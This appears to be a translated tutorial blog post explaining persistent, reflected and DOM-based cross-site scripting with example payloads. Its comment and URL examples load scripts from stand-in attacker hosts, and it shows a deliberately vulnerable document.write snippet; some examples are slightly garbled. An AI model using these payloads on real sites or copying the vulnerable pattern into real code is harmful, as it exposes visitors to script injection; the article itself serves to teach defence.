跨站點腳本 (XSS) 攻擊的類型
已發表: 2022-11-04在我們之前關於 WordPress 和跨站點腳本的文章中,我們對這些類型的攻擊是什麼以及如何防止它們進行了高層次的了解。 在本文中,我們將深入探討一些細節以及一些跨站點腳本示例。 我們走吧!
持久性 XSS
持久性 XSS(或存儲 XSS)是跨站點腳本的主要類型之一。 之所以稱為持久性,是因為攻擊者註入的內容永久存儲在服務器上供以後使用。 每當訪問者訪問特定頁面時,瀏覽器都會在加載時或調用特定功能時執行代碼。
持久性 XSS示例:
假設在帖子下方的評論部分,有人輸入了一個警報腳本以及一個簡單的答案/意見。
Great solution! It works for me.<script>alert("Some text message")</script>
如果評論部分存在漏洞並且提交的評論未經過清理,則此代碼將保存在數據庫中。 因此,從那時起,無論何時(任何人)加載頁面並且“差評”與所有評論一起可見時,都會出現一個彈出窗口和消息。
當然,警告消息可能很煩人,但並不真正有害。 但是,如果攻擊者插入惡意腳本而不是像這樣的警報消息,會發生什麼情況:
Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">
最終用戶將體驗到 XSS 攻擊,而不是煩人的彈出窗口。 損害將取決於執行的代碼類型。 這就是存儲型 XSS 攻擊被認為如此危險的原因。 他們攻擊每個用戶,甚至不需要用戶的任何輸入(禁止首先打開頁面)。
非持久性 XSS
雖然不像持久性 XSS 那樣危險,但非持久性(或反射性)XSS 仍然存在問題,尤其是因為它們被認為是最常見的跨站點腳本攻擊類型。
本質上,在非持久性 XSS 攻擊中發生的事情是最終用戶單擊惡意鏈接,該鏈接會將他們發送到另一個網站,從而觸發一些錯誤的代碼執行。 攻擊是通過精心設計的 URL 或 HTTP 參數進行的,並且不會像 Persistent XSS 那樣永久保存在數據庫中。
但在進行非持久性攻擊之前,攻擊者必須識別網站是否容易受到 XSS 攻擊。 一種方法是使用網站的內部搜索引擎。 如果你輸入一個字符串,比方說“shoes”來搜索並點擊按鈕,就會執行一個如下所示的函數:
http://exampledomain.com?query=shoes
不過,在該函數運行之前,您輸入的字符串會被清除,或者至少應該被清除,這樣搜索表單就不會受到惡意輸入的影響。
攻擊者可以使用搜索表單並嘗試輸入如下腳本:
<script type="text/javascript">alert("vulnerable");</script>
如果表單未經過清理,它將正常運行該函數:
http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>
這將(在此示例中)導致顯示警報彈出窗口。 這是當攻擊者知道搜索表單存在 XSS 漏洞時。
非持久性 XSS 示例
如果在站點上發現漏洞,攻擊者可能會選擇創建如下所示的 URL:
http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"
然後他們“屏蔽”該 URL,使其看起來不像是“壞”鏈接,並嘗試鼓勵其他人點擊此鏈接。 通常,這可能是我發送垃圾郵件或可能在論壇上包含一個鏈接。

基於 DOM 的 XSS
在基於 DOM 的 XSS(或客戶端 XSS)事件中,攻擊通過包含惡意代碼的 URL 傳遞。
它也被認為是客戶端漏洞,因為它在受害者的瀏覽器中執行,但這裡發生的是 DOM 的一部分被更改,這導致客戶端在未經他們同意的情況下運行代碼。
注意:文檔對像模型 (DOM) 是一個接口,它通過將腳本語言連接到實際網頁來定義網頁的佈局結構。 為此,它允許開發人員訪問文檔並執行操作以更新內容。
基於 DOM 的 XSS 示例:
一個基於 DOM 的跨站點腳本攻擊的例子可以用一個表單來演示,該表單允許您選擇一個選項,例如您的居住國家/地區。 讓我們看看下面的例子是如何實現的:
Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>
因此,可以通過 URL 訪問在表單中選擇選項的頁面,例如:
http://localhost/?country=Lithuania

但是,如果您嘗試這樣輸入(見下文),那麼瀏覽器將創建一個包含該字符串的 DOM 對象並執行腳本。
http://localhost/?country=Lithuania
發生這種情況是因為表單未受保護並且初始代碼尚未準備好用於任何 HTML 標記。 所以它所做的是將 DOM 繪製到頁面中並運行惡意腳本。
XSS 攻擊太常見了。 盡可能保護自己的一個簡單方法是始終在您的 WordPress 網站上保持插件最新並使用高質量的主機。 我們希望這些示例能讓您了解這些類型的攻擊如何工作以及需要注意什麼!